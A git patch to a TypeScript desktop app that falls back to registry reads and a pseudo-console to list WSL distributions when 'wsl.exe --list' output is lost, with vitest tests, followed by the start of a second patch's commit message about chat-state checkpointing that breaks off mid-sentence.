src/main/wsl.ts | 38 +++- src/main/wsl/wsl-distro-registry-id.test.ts | 17 ++ src/main/wsl/wsl-distro-registry-id.ts | 24 ++- 11 files changed, 591 insertions(+), 13 deletions(-) create mode 100644 src/main/wsl-console-running-distros.test.ts create mode 100644 src/main/wsl-console-running-distros.ts create mode 100644 src/main/wsl-lost-list-output.test.ts create mode 100644 src/main/wsl-registered-distro-fallback.ts diff --git a/config/tsconfig.tc.web.json b/config/tsconfig.tc.web.json index b6846700f6a..cd97211c3e9 100644 --- a/config/tsconfig.tc.web.json +++ b/config/tsconfig.tc.web.json @@ -59,6 +59,9 @@ "../src/main/wsl.ts", "../src/main/wsl-interop-spawn-directory.ts", "../src/main/wsl-exe-process.ts", + "../src/main/wsl-console-running-distros.ts", + "../src/main/wsl-registered-distro-fallback.ts", + "../src/main/wsl/wsl-distro-registry-id.ts", "../src/main/persistence/applying-settings/ui-state-read.ts", "../src/main/persistence/tracking-repos/worktree-identity-migration.ts", "../src/main/persistence/tracking-repos/worktree-identity-row-repoint.ts", diff --git a/src/main/wsl-console-running-distros.test.ts b/src/main/wsl-console-running-distros.test.ts new file mode 100644 index 00000000000..0d2c7289b16 --- /dev/null +++ b/src/main/wsl-console-running-distros.test.ts @@ -0,0 +1,132 @@ +import { describe, expect, it, vi } from 'vitest' +import { + listRunningWslDistrosViaConsole, + parseConsoleWslDistros, + type WslConsole +} from './wsl-console-running-distros' + +type FakeConsole = WslConsole & { + emitData: (data: string) => void + emitExit: (exitCode: number) => void +} + +function fakeConsole(): FakeConsole { + let onData: ((data: string) => void) | null = null + let onExit: ((event: { exitCode: number }) => void) | null = null + return { + onData: (listener) => { + onData = listener + return { dispose: () => (onData = null) } + }, + onExit: (listener) => { + onExit = listener + return { dispose: () => (onExit = null) } + }, + kill: vi.fn(), + emitData: (data) => onData?.(data), + emitExit: (exitCode) => onExit?.({ exitCode }) + } +} + +// What ConPTY paints around `wsl.exe --list --running` with Ubuntu-24.04 (the default) running (#35509). +const CONPTY_OUTPUT = + '\u001b[?9001h\u001b[?1004h\u001b[?25l\u001b[2J\u001b[m\u001b[H' + + '\u001b]0;C:\\WINDOWS\\System32\\wsl.exe\u0007\u001b[?25h' + + 'Windows Subsystem for Linux Distributions:\r\nUbuntu-24.04 (Default)\r\n' + + '\u001b[?9001l\u001b[?1004l' +// Its answer when nothing runs; wsl.exe then exits -1, which the console reports unsigned. +const NONE_RUNNING_OUTPUT = + '\u001b[?25l\u001b[2J\u001b[m\u001b[HThere are no running distributions.\r\n\u001b[?25h' +const NONE_RUNNING_EXIT = 4_294_967_295 + +function ask(registered: readonly string[] = ['Ubuntu-24.04']): { + console: FakeConsole + spawn: ReturnType WslConsole>> + result: Promise +} { + const console = fakeConsole() + const spawn = vi.fn<(args: string[]) => WslConsole>(() => console) + return { console, spawn, result: listRunningWslDistrosViaConsole(registered, 5000, spawn) } +} + +describe('running WSL distros read through a console', () => { + it('finds registered names past the header and the default marker', () => { + expect(parseConsoleWslDistros(CONPTY_OUTPUT, ['Ubuntu-24.04', 'Debian'])).toEqual([ + 'Ubuntu-24.04' + ]) + }) + + it('splits rows the console placed by cursor moves, in registered spelling', () => { + const output = '\u001b[1;1Hubuntu-24.04 (Default)\u001b[K\u001b[2;1HDebian\u001b[K' + expect(parseConsoleWslDistros(output, ['Ubuntu-24.04', 'Debian'])).toEqual([ + 'Ubuntu-24.04', + 'Debian' + ]) + }) + + it.each([ + ['ko-KR, no space', 'Ubuntu-24.04(기본값)'], + ['nb-NO, no-break space', 'Ubuntu-24.04\u00a0(standard)'], + ['full-width parens', 'Ubuntu-24.04(默认)'] + ])('reads the default row with a localized suffix (%s)', (_locale, row) => { + const output = `Header:\r\n${row}\r\nDebian\r\n` + expect(parseConsoleWslDistros(output, ['Ubuntu-24.04', 'Debian'])).toEqual([ + 'Ubuntu-24.04', + 'Debian' + ]) + }) + + it('asks only for the running list, which never starts a distro', async () => { + const { console, spawn, result } = ask() + console.emitData(CONPTY_OUTPUT) + console.emitExit(0) + + await expect(result).resolves.toEqual(['Ubuntu-24.04']) + expect(spawn).toHaveBeenCalledWith(['--list', '--running']) + }) + + it('stays unverifiable on the localized none-running answer', async () => { + const { console, result } = ask() + console.emitData(NONE_RUNNING_OUTPUT) + console.emitExit(NONE_RUNNING_EXIT) + + await expect(result).rejects.toThrow('not recognisable') + }) + + it('stays unverifiable when wsl.exe exits 0 with nothing painted', async () => { + const { console, result } = ask() + console.emitData('\u001b[?25l\u001b[2J\u001b[H\u001b[?25h') + console.emitExit(0) + + await expect(result).rejects.toThrow('not recognisable') + }) + + it('stays unverifiable on a failure', async () => { + const { console, result } = ask() + console.emitData('Error code: Wsl/Service/E_UNEXPECTED\r\n') + console.emitExit(NONE_RUNNING_EXIT) + + await expect(result).rejects.toThrow('not recognisable') + }) + + it('stays unverifiable when exit 0 lists no registered distro', async () => { + const { console, result } = ask() + console.emitData('Windows Subsystem for Linux Distributions:\r\nOther\r\n') + console.emitExit(0) + + await expect(result).rejects.toThrow('not recognisable') + }) + + it('kills a console that does not answer in time', async () => { + vi.useFakeTimers() + try { + const { console, result } = ask() + const rejected = expect(result).rejects.toThrow('timed out') + await vi.advanceTimersByTimeAsync(5000) + await rejected + expect(console.kill).toHaveBeenCalled() + } finally { + vi.useRealTimers() + } + }) +}) diff --git a/src/main/wsl-console-running-distros.ts b/src/main/wsl-console-running-distros.ts new file mode 100644 index 00000000000..83b0567505d --- /dev/null +++ b/src/main/wsl-console-running-distros.ts @@ -0,0 +1,113 @@ +// Where wsl.exe drops redirected list output (#35509) it still writes to a console, so ask through one. +import { createRequire } from 'node:module' +import type * as pty from 'node-pty' +import { windowsSystem32Binary } from '@orca/process-host/windows-system-binary' +import { stripAnsiEscapeSequences } from '../shared/ansi-escape-sequences' +import { resolveWslInteropSpawnCwd } from './wsl-interop-spawn-directory' + +const requireFromMain = createRequire(__filename) +const MAX_OUTPUT_CHARS = 64 * 1024 +// ConPTY may place rows by cursor moves rather than line feeds. +// oxlint-disable-next-line no-control-regex -- matches the ESC that introduces a cursor move. +const CURSOR_POSITION = /\u001b\[\d*(?:;\d*)?[Hf]/g + +export type WslConsole = Pick +export type SpawnWslConsole = (args: string[]) => WslConsole + +const spawnWslConsole: SpawnWslConsole = (args) => { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: node-pty's installed package implements the declared spawn contract. + const nodePty = requireFromMain('node-pty') as typeof pty + return nodePty.spawn(windowsSystem32Binary('wsl.exe'), args, { + name: 'xterm', + cols: 512, + rows: 50, + cwd: resolveWslInteropSpawnCwd(), + env: process.env + }) +} + +// Non-quiet output: a localized header, then one name per row; the default carries a localized suffix. +// Some locales omit the space (ko-KR), use a no-break space (nb-NO), or full-width parens. +const DISTRO_ROW = /^\s*\*?\s*([^\s(\uff08]+)\s*(?:[(\uff08].*[)\uff09])?\s*$/ + +function consoleText(output: string): string { + return stripAnsiEscapeSequences(output.replace(CURSOR_POSITION, '\n')) +} + +/** Registered names among the console's rows; anything else the console painted is ignored. */ +export function parseConsoleWslDistros(output: string, registered: readonly string[]): string[] { + const byKey = new Map(registered.map((distro) => [distro.toLowerCase(), distro])) + const found = new Set() + for (const line of consoleText(output).split(/\r?\n|\r/)) { + const distro = byKey.get(DISTRO_ROW.exec(line)?.[1]?.toLowerCase() ?? '') + if (distro) { + found.add(distro) + } + } + return [...found] +} + +/** + * Only a painted registered name counts. A blank console may itself have lost the output, and the + * "none running" text is localized, so on these hosts "nothing runs" stays unverifiable (#35509). + */ +export function consoleRunningVerdict( + output: string, + exitCode: number, + registered: readonly string[] +): string[] | Error { + const running = parseConsoleWslDistros(output, registered) + if (exitCode === 0 && running.length > 0) { + return running + } + return new Error(`wsl.exe console list was not recognisable (exit ${exitCode})`) +} + +/** Running distros among `registered`. A list call never starts a distro; throws when the console can't answer. */ +export function listRunningWslDistrosViaConsole( + registered: readonly string[], + timeoutMs: number, + spawn: SpawnWslConsole = spawnWslConsole +): Promise { + return new Promise((resolve, reject) => { + let proc: WslConsole + try { + proc = spawn(['--list', '--running']) + } catch (error) { + reject(error) + return + } + let output = '' + let settled = false + const subscriptions: pty.IDisposable[] = [] + const finish = (verdict: string[] | Error): void => { + if (settled) { + return + } + settled = true + clearTimeout(timer) + subscriptions.forEach((subscription) => subscription.dispose()) + if (verdict instanceof Error) { + try { + proc.kill() + } catch { + // Already exited. + } + reject(verdict) + return + } + resolve(verdict) + } + const timer = setTimeout(() => finish(new Error('wsl.exe console list timed out')), timeoutMs) + subscriptions.push( + proc.onData((data) => { + output += data + if (output.length > MAX_OUTPUT_CHARS) { + finish(new Error('wsl.exe console list output exceeded its limit')) + } + }), + // node-pty reports exit only after the console's output has drained. + proc.onExit(({ exitCode }) => finish(consoleRunningVerdict(output, exitCode, registered))) + ) + }) +} diff --git a/src/main/wsl-distro-list-single-flight.test.ts b/src/main/wsl-distro-list-single-flight.test.ts index 4cf835669fb..955186f8e1e 100644 --- a/src/main/wsl-distro-list-single-flight.test.ts +++ b/src/main/wsl-distro-list-single-flight.test.ts @@ -10,6 +10,14 @@ vi.mock('@orca/process-host', () => ({ runProcess: runProcessMock, runProcessSync: runProcessSyncMock })) +// These cases model hosts with no registered distro; the lost-output fallback has its own suite. +vi.mock('./wsl-registered-distro-fallback', () => ({ + listedOrRegisteredWslDistros: async (listed: string[]) => listed, + readRegisteredWslDistrosLater: () => {}, + isWslListOutputLost: () => false, + resetWslListOutputLost: () => {}, + runningWhenListedNone: async () => [] +})) function exited(stdout: string, code: number | null = 0): ProcessResult { return { code, signal: null, stdout, stderr: '', timedOut: false } diff --git a/src/main/wsl-lost-list-output.test.ts b/src/main/wsl-lost-list-output.test.ts new file mode 100644 index 00000000000..482ebfdd981 --- /dev/null +++ b/src/main/wsl-lost-list-output.test.ts @@ -0,0 +1,183 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' +import type { ProcessResult, ProcessSpec } from '@orca/process-host/process-spec' + +const { runProcessMock, runProcessSyncMock, consoleMock } = vi.hoisted(() => ({ + runProcessMock: vi.fn<(spec: ProcessSpec) => Promise>(), + runProcessSyncMock: vi.fn<(spec: ProcessSpec) => ProcessResult>(), + consoleMock: vi.fn<(registered: readonly string[], timeoutMs: number) => Promise>() +})) + +vi.mock('@orca/process-host', () => ({ + runProcess: runProcessMock, + runProcessSync: runProcessSyncMock +})) +vi.mock('./wsl-console-running-distros', () => ({ + listRunningWslDistrosViaConsole: consoleMock +})) + +import { + _resetWslCachesForTests, + listRunningWslDistrosAsync, + listWslDistros, + listWslDistrosAsync +} from './wsl' + +// The reporter's capture of `wsl.exe --list --quiet` through process-host on WSL 3.0.3 (#35509). +const LOST_LIST_OUTPUT: ProcessResult = { + code: 0, + signal: null, + stdout: '', + stderr: '', + timedOut: false, + outputTruncated: false +} + +const LXSS = 'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Lxss' +const DEFAULT_ID = '0283592D-BE56-40D4-B935-3DC18C3AA007' +const REG_OUTPUT = [ + '', + LXSS, + ` DefaultDistribution REG_SZ {${DEFAULT_ID}}`, + ' DefaultVersion REG_DWORD 0x2', + '', + `${LXSS}\\{1b2c3d4e-0000-4000-8000-000000000001}`, + ' DistributionName REG_SZ docker-desktop', + '', + `${LXSS}\\{3c4d5e6f-0000-4000-8000-000000000002}`, + ' DistributionName REG_SZ Debian', + '', + `${LXSS}\\{${DEFAULT_ID}}`, + ' DistributionName REG_SZ Ubuntu-24.04', + ' Version REG_DWORD 0x2', + '' +].join('\r\n') + +function exited(stdout: string): ProcessResult { + return { code: 0, signal: null, stdout, stderr: '', timedOut: false } +} + +function host(wslList: ProcessResult, reg: ProcessResult): (spec: ProcessSpec) => ProcessResult { + return (spec) => (spec.program.toLowerCase().endsWith('reg.exe') ? reg : wslList) +} + +function wslCalls(): string[][] { + return runProcessMock.mock.calls + .map(([spec]) => spec) + .filter((spec) => spec.program === 'wsl.exe') + .map((spec) => [...(spec.args ?? [])]) +} + +async function onWindows(fn: () => Promise | T): Promise { + const original = process.platform + Object.defineProperty(process, 'platform', { configurable: true, value: 'win32' }) + try { + return await fn() + } finally { + Object.defineProperty(process, 'platform', { configurable: true, value: original }) + } +} + +describe('a host where wsl.exe loses its redirected list output', () => { + afterEach(() => { + runProcessMock.mockReset() + runProcessSyncMock.mockReset() + consoleMock.mockReset() + _resetWslCachesForTests() + }) + + it('discovers the registered distros, default first, so WSL stays selectable', async () => { + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + + await onWindows(async () => { + await expect(listWslDistrosAsync()).resolves.toEqual(['Ubuntu-24.04', 'Debian']) + }) + }) + + it('fills the synchronous path from the registry without a synchronous spawn', async () => { + runProcessSyncMock.mockReturnValue(LOST_LIST_OUTPUT) + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + + await onWindows(async () => { + expect(listWslDistros()).toEqual([]) + await vi.waitFor(() => expect(listWslDistros()).toEqual(['Ubuntu-24.04', 'Debian'])) + expect(runProcessSyncMock.mock.calls.map(([spec]) => spec.program)).toEqual(['wsl.exe']) + }) + }) + + it('reads running distros through a console instead of reporting them stopped', async () => { + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + consoleMock.mockResolvedValue(['Ubuntu-24.04']) + + await onWindows(async () => { + await expect(listRunningWslDistrosAsync({ requireConfirmed: true })).resolves.toEqual([ + 'Ubuntu-24.04' + ]) + expect(consoleMock).toHaveBeenCalledWith(['Ubuntu-24.04', 'Debian'], 5000) + // Only list calls: nothing here may start a stopped distro. + expect(wslCalls()).toEqual([ + ['--list', '--running', '--quiet'], + ['--list', '--quiet'] + ]) + }) + }) + + it('goes straight to the console once the host is known to lose list output', async () => { + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + consoleMock.mockResolvedValue(['Ubuntu-24.04']) + + await onWindows(async () => { + await listRunningWslDistrosAsync({ requireConfirmed: true }) + await listRunningWslDistrosAsync({ requireConfirmed: true }) + expect(consoleMock).toHaveBeenCalledTimes(2) + expect(wslCalls()).toEqual([ + ['--list', '--running', '--quiet'], + ['--list', '--quiet'] + ]) + }) + }) + + it('leaves the answer unverifiable, never stopped, when the console fails too', async () => { + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + consoleMock.mockRejectedValue(new Error('wsl.exe console list timed out')) + + await onWindows(async () => { + await expect(listRunningWslDistrosAsync({ requireConfirmed: true })).rejects.toThrow( + 'discovery is unavailable' + ) + }) + }) + + it('still confirms an empty running list where wsl.exe output is intact', async () => { + runProcessMock.mockImplementation(async (spec: ProcessSpec) => + spec.args?.includes('--running') ? exited('') : exited('Ubuntu-24.04\r\n') + ) + + await onWindows(async () => { + await expect(listRunningWslDistrosAsync({ requireConfirmed: true })).resolves.toEqual([]) + expect(consoleMock).not.toHaveBeenCalled() + expect(runProcessMock.mock.calls.some(([spec]) => spec.program.endsWith('reg.exe'))).toBe( + false + ) + }) + }) + + it('treats an empty list as no distros when the registry has none either', async () => { + runProcessMock.mockImplementation(async (spec) => host(LOST_LIST_OUTPUT, exited(''))(spec)) + + await onWindows(async () => { + await expect(listWslDistrosAsync()).resolves.toEqual([]) + await expect(listRunningWslDistrosAsync({ requireConfirmed: true })).resolves.toEqual([]) + expect(consoleMock).not.toHaveBeenCalled() + }) + }) +}) diff --git a/src/main/wsl-registered-distro-fallback.ts b/src/main/wsl-registered-distro-fallback.ts new file mode 100644 index 00000000000..a3cb41f54f0 --- /dev/null +++ b/src/main/wsl-registered-distro-fallback.ts @@ -0,0 +1,72 @@ +// Some WSL 3 hosts exit 0 with nothing on a redirected `wsl.exe --list` (#35509), which reads as "no distros". +import { runProcess } from '@orca/process-host' +import type { ProcessResult } from '@orca/process-host/process-spec' +import { listRunningWslDistrosViaConsole } from './wsl-console-running-distros' +import { filterUserWslDistros } from './wsl-distro-list-output' +import { + lxssRegQuerySpec, + parseDefaultWslDistroId, + parseWslDistroRegistrations +} from './wsl/wsl-distro-registry-id' + +/** Registered user distros, default first as `wsl --list` orders them; empty when the registry is unreadable. */ +export function registeredUserWslDistros(result: Pick): string[] { + if (result.code !== 0) { + return [] + } + const registrations = parseWslDistroRegistrations(result.stdout) + const defaultId = parseDefaultWslDistroId(result.stdout) + const ordered = [ + ...registrations.filter(({ id }) => id === defaultId), + ...registrations.filter(({ id }) => id !== defaultId) + ] + return filterUserWslDistros(ordered.map(({ distro }) => distro)) +} + +// wsl.exe listed nothing while Lxss holds distros: this host loses its redirected list output. +let listOutputLost = false + +function registeredWhenListedNone(registered: string[]): string[] { + listOutputLost ||= registered.length > 0 + return registered +} + +/** The listed distros, or when wsl.exe listed none, the registered ones. */ +export async function listedOrRegisteredWslDistros(listed: string[]): Promise { + if (listed.length > 0) { + return listed + } + try { + return registeredWhenListedNone(registeredUserWslDistros(await runProcess(lxssRegQuerySpec()))) + } catch { + return [] + } +} + +/** For sync callers, which may not spawn on main: hands any registered distros to `found` later. */ +export function readRegisteredWslDistrosLater(found: (distros: string[]) => void): void { + void listedOrRegisteredWslDistros([]).then((distros) => { + if (distros.length > 0) { + found(distros) + } + }) +} + +/** Whether an empty `wsl --list` on this host may be lost output rather than an empty answer. */ +export function isWslListOutputLost(): boolean { + return listOutputLost +} + +/** Running distros after an empty redirected list: none, unless this host loses output; then ask a console. */ +export function runningWhenListedNone( + registered: readonly string[], + timeoutMs: number +): Promise { + return listOutputLost + ? listRunningWslDistrosViaConsole(registered, timeoutMs) + : Promise.resolve([]) +} + +export function resetWslListOutputLost(): void { + listOutputLost = false +} diff --git a/src/main/wsl-running-distros.test.ts b/src/main/wsl-running-distros.test.ts index d3028ff6f17..3a320f0072d 100644 --- a/src/main/wsl-running-distros.test.ts +++ b/src/main/wsl-running-distros.test.ts @@ -1,7 +1,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { afterEach, describe, expect, it, vi } from 'vitest' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { ProcessResult } from '@orca/process-host/process-spec' const { runProcessMock } = vi.hoisted(() => ({ runProcessMock: vi.fn() })) @@ -16,6 +16,7 @@ const FAILED = exited('', 1) import { _resetWslCachesForTests, + _setWslCachesForTests, listRunningWslDistrosAsync, listRunningWslHomeDirsAsync } from './wsl' @@ -45,6 +46,9 @@ async function withPlatform(value: NodeJS.Platform, fn: () => Promise): Pr } describe('running WSL distro discovery', () => { + // A healthy host whose installed list is known, so an empty running list needs no second look. + beforeEach(() => _setWslCachesForTests({ distros: ['Ubuntu'] })) + afterEach(() => { runProcessMock.mockReset() _resetWslCachesForTests() diff --git a/src/main/wsl.test.ts b/src/main/wsl.test.ts index 10b9b8604c7..7220739e6c1 100644 --- a/src/main/wsl.test.ts +++ b/src/main/wsl.test.ts @@ -14,6 +14,14 @@ vi.mock('@orca/process-host', () => ({ vi.mock('./wsl-interop-spawn-directory', () => ({ resolveWslInteropSpawnCwd: () => 'C:\\Windows' })) +// These cases model hosts with no registered distro; the lost-output fallback has its own suite. +vi.mock('./wsl-registered-distro-fallback', () => ({ + listedOrRegisteredWslDistros: async (listed: string[]) => listed, + readRegisteredWslDistrosLater: () => {}, + isWslListOutputLost: () => false, + resetWslListOutputLost: () => {}, + runningWhenListedNone: async () => [] +})) function exited(stdout: string, code: number | null = 0): ProcessResult { return { code, signal: null, stdout, stderr: '', timedOut: false } diff --git a/src/main/wsl.ts b/src/main/wsl.ts index 88da026b180..c55e125a9ab 100644 --- a/src/main/wsl.ts +++ b/src/main/wsl.ts @@ -9,6 +9,13 @@ import { dropStaleWslAvailabilityFailure } from './wsl-availability' import { wslExeProcessSpec, wslExeStdout } from './wsl-exe-process' +import { + isWslListOutputLost, + listedOrRegisteredWslDistros, + readRegisteredWslDistrosLater, + resetWslListOutputLost, + runningWhenListedNone +} from './wsl-registered-distro-fallback' import { _resetRunningWslDistroCacheForTests, resolveRunningWslDistros, @@ -137,7 +144,11 @@ export function listWslDistros(): string[] { const output = wslExeStdout( runProcessSync(wslExeProcessSpec(['--list', '--quiet'], WSL_PROBE_TIMEOUT_MS)) ) - return cacheWslDistroList(parseWslDistros(output), probeSequence) + const listed = parseWslDistros(output) + if (listed.length === 0) { + readRegisteredWslDistrosLater((found) => cacheWslDistroList(found, probeSequence)) + } + return cacheWslDistroList(listed, probeSequence) } catch { armWslDistroListRetry() return wslDistroCache ?? [] @@ -169,7 +180,9 @@ export async function listWslDistrosAsync(): Promise { // Catch before sharing the promise so all concurrent callers receive the same fallback. const probeSequence = ++wslDistroProbeSequence const probe = runWslExe(['--list', '--quiet']) - .then((output) => cacheWslDistroList(parseWslDistros(output), probeSequence)) + .then(async (output) => + cacheWslDistroList(await listedOrRegisteredWslDistros(parseWslDistros(output)), probeSequence) + ) .catch(() => { armWslDistroListRetry() return wslDistroCache ?? [] @@ -192,14 +205,26 @@ export async function listRunningWslDistrosAsync( } return resolveRunningWslDistros( () => - runWslExe(['--list', '--running', '--quiet'], { - ...process.env, - WSL_UTF8: '1' - }).then((output) => filterUserWslDistros(parseWslDistros(output))), + // A host known to lose redirected list output goes straight to the console. + isWslListOutputLost() + ? runningFromList('') + : runWslExe(['--list', '--running', '--quiet'], { + ...process.env, + WSL_UTF8: '1' + }).then(runningFromList), options ) } +// Empty means "none running" unless this host loses list output; then only a console can tell. +async function runningFromList(output: string): Promise { + const listed = parseWslDistros(output) + if (listed.length > 0) { + return filterUserWslDistros(listed) + } + return runningWhenListedNone(await listWslDistrosAsync(), WSL_PROBE_TIMEOUT_MS) +} + export function hasCachedWslDistros(): boolean { return wslDistroCache !== null } @@ -302,6 +327,7 @@ function resetWslDistroListState(): void { wslDistroListEmptyStreak = 0 wslDistroProbeSequence = 0 wslDistroCacheSequence = 0 + resetWslListOutputLost() } export function _resetWslCachesForTests(): void { diff --git a/src/main/wsl/wsl-distro-registry-id.test.ts b/src/main/wsl/wsl-distro-registry-id.test.ts index 0ec5def3fc4..f48c9b8eaab 100644 --- a/src/main/wsl/wsl-distro-registry-id.test.ts +++ b/src/main/wsl/wsl-distro-registry-id.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it, vi } from 'vitest' import { isWslDistroRegistered, + parseDefaultWslDistroId, parseWslDistroRegistrations, readWslDistroRegistryId, readWslDistroRegistryIdShared, @@ -141,3 +142,19 @@ describe('resolveWslDistroName', () => { ).resolves.toBeNull() }) }) + +describe('the default distro registration', () => { + it('reads DefaultDistribution from the Lxss root as a lowercase unbraced GUID', () => { + const output = [ + LXSS, + ' DefaultDistribution REG_SZ {0283592D-BE56-40D4-B935-3DC18C3AA007}', + ' DefaultVersion REG_DWORD 0x2', + REG_OUTPUT + ].join('\r\n') + expect(parseDefaultWslDistroId(output)).toBe('0283592d-be56-40d4-b935-3dc18c3aa007') + }) + + it('is null when no default is set', () => { + expect(parseDefaultWslDistroId(REG_OUTPUT)).toBeNull() + }) +}) diff --git a/src/main/wsl/wsl-distro-registry-id.ts b/src/main/wsl/wsl-distro-registry-id.ts index 03c6b00d107..41c2818a8fc 100644 --- a/src/main/wsl/wsl-distro-registry-id.ts +++ b/src/main/wsl/wsl-distro-registry-id.ts @@ -1,5 +1,6 @@ /** Lxss registration GUID survives rename but changes on unregister/reimport, distinguishing replacement distros with reused names. */ import { runProcess } from '@orca/process-host' +import type { ProcessSpec } from '@orca/process-host/process-spec' import { windowsSystem32Binary } from '@orca/process-host/windows-system-binary' const LXSS_KEY = 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Lxss' @@ -46,15 +47,26 @@ export function parseWslDistroRegistrations(output: string): WslDistroRegistrati return registrations } +const DEFAULT_DISTRIBUTION_LINE = /^\s+DefaultDistribution\s+REG_SZ\s+\{?([0-9a-f-]{36})\}?\s*$/im + +/** The default distro's registration GUID from the Lxss root, lowercase and unbraced; null when unset. */ +export function parseDefaultWslDistroId(output: string): string | null { + return DEFAULT_DISTRIBUTION_LINE.exec(output)?.[1]?.toLowerCase() ?? null +} + export type RegQuery = (args: string[]) => Promise<{ code: number | null; stdout: string }> -const defaultRegQuery: RegQuery = (args) => +function regQuerySpec(args: string[]): ProcessSpec { // Read registry with reg.exe, never PowerShell, matching openssh-default-shell. - runProcess({ - program: windowsSystem32Binary('reg.exe'), - args, - timeoutMs: REG_QUERY_TIMEOUT_MS - }) + return { program: windowsSystem32Binary('reg.exe'), args, timeoutMs: REG_QUERY_TIMEOUT_MS } +} + +/** `reg query /s`, for readers that run it themselves. */ +export function lxssRegQuerySpec(): ProcessSpec { + return regQuerySpec(['query', LXSS_KEY, '/s']) +} + +const defaultRegQuery: RegQuery = (args) => runProcess(regQuerySpec(args)) /** Every registered distro, or null when the registry cannot be read. */ export async function readWslDistroRegistrations( From 2cc33b8d898b961c197b7863ac7dbe921821803f Mon Sep 17 00:00:00 2001 From: Brennan Benson <79079362+brennanb2025@users.noreply.github.com> Date: Sat, 31 Oct 2026 00:40:23 -0700 Subject: [PATCH 23/47] fix(native-chat): save each chat change as keyed records and reopen from the newest (#36024) * Save native chat state and restore only its journal tail Publish versioned reducer checkpoints atomically, checkpoint through the chat write queue, and backfill closed chats without retiring journal rows. Co-Authored-By: Codex * Keep checkpoint recovery durable and skip unchanged captures * Keep journal timer and restart fixtures compatible with checkpoints * Keep checkpoint performance tests focused on operation contracts * Remove unused benchmark import * Restore journal append interception and control Stop fixture time * Compare saved reducer state without a key assertion * Supply thread scope in checkpoint test appends * Prove restored journal consumer paths * test: exercise restored consumer backward pagination * fix: pace journal backfill with a monotonic clock * refactor: keep journal opening cursor checks together * refactor: project chat journal state in the append transaction Track isolated reducer mutations and persist keyed changes under a savepoint before adopting committed state. Keep appends working through projection lag and repair coverage on the write lane, including legacy bootstrap. Co-Authored-By: Codex * fix: keep reducer objects live across journal commits The draft isolates every write until COMMIT, then writes each dirty copy back onto its original, so submissions, items and queue cards handed out before a commit keep reading current values as they did with in-place folding. A failed COMMIT still leaves live state untouched. Also replaces banned Reflect.get uses and adds braces the lint rule requires. * fix: bound projection repair and check the invariant after notification Failed publications and savepoints back off from 1 s up to an hour, reset by a healthy incremental write or a reopen. open() no longer waits for a legacy chat's publication; the scheduled repair publishes it on the write lane. A failed open closes its handle. The equality check runs after commit notification, only when projection tests opt in or, log-only and sampled, in development, and it requires the saved coverage to match. Removes the unused streamed commit argument. * fix: keep the background projection pass proportional to chats The orphan sweep reads one state row per chat and clears orphans by session key. A chat whose fold cannot publish stops at its first damage and is skipped until its epoch or newest row changes. * fix: version the keyed projection layout as codec 2 This branch's earlier whole-state layout used version 1; it now decodes to null and the chat replays. * test: follow the append-with-fold contract and deferred publication A submission whose fold throws now rolls back with its receipt before any dispatch, so those sends are refused and nothing is recorded. The unconfirmed continuation outcome is pinned through its real cause: the agent admits the message and no delivery proof arrives. Tests that need saved state right after a chat opens publish it explicitly, the history reload clears the saved state covering its edited row, and the codex stream bound matches its capture. * test: pin projection repair backoff, background pass and N/10N costs Covers the production repair timer under a persistent failure, a legacy open that publishes after it resolves, a failed open leaving no timer, a damaged closed chat skipped until a new row, and equal per-write, reopen, sweep and closed-chat publication work at N and 10N. Projection tests opt into the per-commit equality check. * refactor: inline draft write-back helpers The repo lint bans object-typed parameters; the copy and write-back now run in the closure that already holds the wrapped value. * fix: write a new epoch's saved state in its own transaction New chats, rollovers and rewinds publish the new epoch's projection beside its rows, inside the same statement-only savepoint the append path uses, so they start covered instead of waiting a second for a repair. A projection failure there still keeps the epoch and leaves the scheduled repair to publish it. * fix: keep the sampled development check log-only on any failure A read failing inside the check must not reject an append that already committed and notified. * fix: typecheck the draft copy without closure narrowing Assign the lazily created copy through a local so strict programs that do not narrow a captured variable after ??= still see an object. * test: catch whole-table sweeps and an undecodable projection The sweep contract now records exec statements too and pins its exact keyed statement list, so a NOT EXISTS scan through exec fails it. A projection whose item stops decoding fails the per-commit check on coverage although a full replay still matches. Also fixes two test lint findings. * refactor: drop draft casts the types can carry Overlay maps and sets finish from their own typed touched keys, and present map entries are read through one helper. The two remaining generic boundaries, a draft standing for its object and finishing back to it, carry the repo's SAFETY directive. * test: show a parked damaged chat publishes after a clean epoch replaces it The replacement ends at the parked chat's newest sequence, so only the epoch in the skip key re-arms it. * test: give the seeded queued card its enqueue cursor Production records queuedAt as the cursor before the queue row; the fixture now does too. * fix: catch lagging saved chat state up in atomic pages Repair of a legacy, lagging or undecodable chat, open or closed, no longer republishes the whole chat. One runner folds the rows after the saved coverage onto a private copy of the saved prefix, at most 32 rows or about 1 MiB of row text per page, and commits each page's changed entries with the new coverage in one FULL transaction. That transaction first checks the chat's epoch and the exact saved row the page was folded from, so a page from a retired epoch or a stale base writes nothing. Pages rest between slices, and the saved prefix is decoded in pages too. An open chat runs the pages on its write lane; sends keep committing between them and skip the projection until coverage reaches the tip, then project incrementally again. The background pass hands a chat over to its open owner at a page boundary. Damage parks the chat after the pages before it, and a failed page keeps the committed ones and retries from them on the existing backoff. Whole-chat publication now runs only inside epoch transactions. * test: pin the draft layer's tracked nodes per streamed revision and acceptance A transition now reports how many objects and collections its fold reached. The scaling chat gains accepted sends (receipts and aliases) and waiting, dispatched and returned queue cards at N and 10N. A streamed revision's only growing term is the card scan, one node per card plus each returned card's body; an echo also reads every item with its body and every submission. * test: append the between-pages send by item identity appendItem takes the provider identity, not its key. * test: check every catch-up prefix of the recorded Claude and Codex streams A runner can page single rows, so the recorded streams' aliases, Stop settlement and per-row timestamps are each checked at a committed prefix 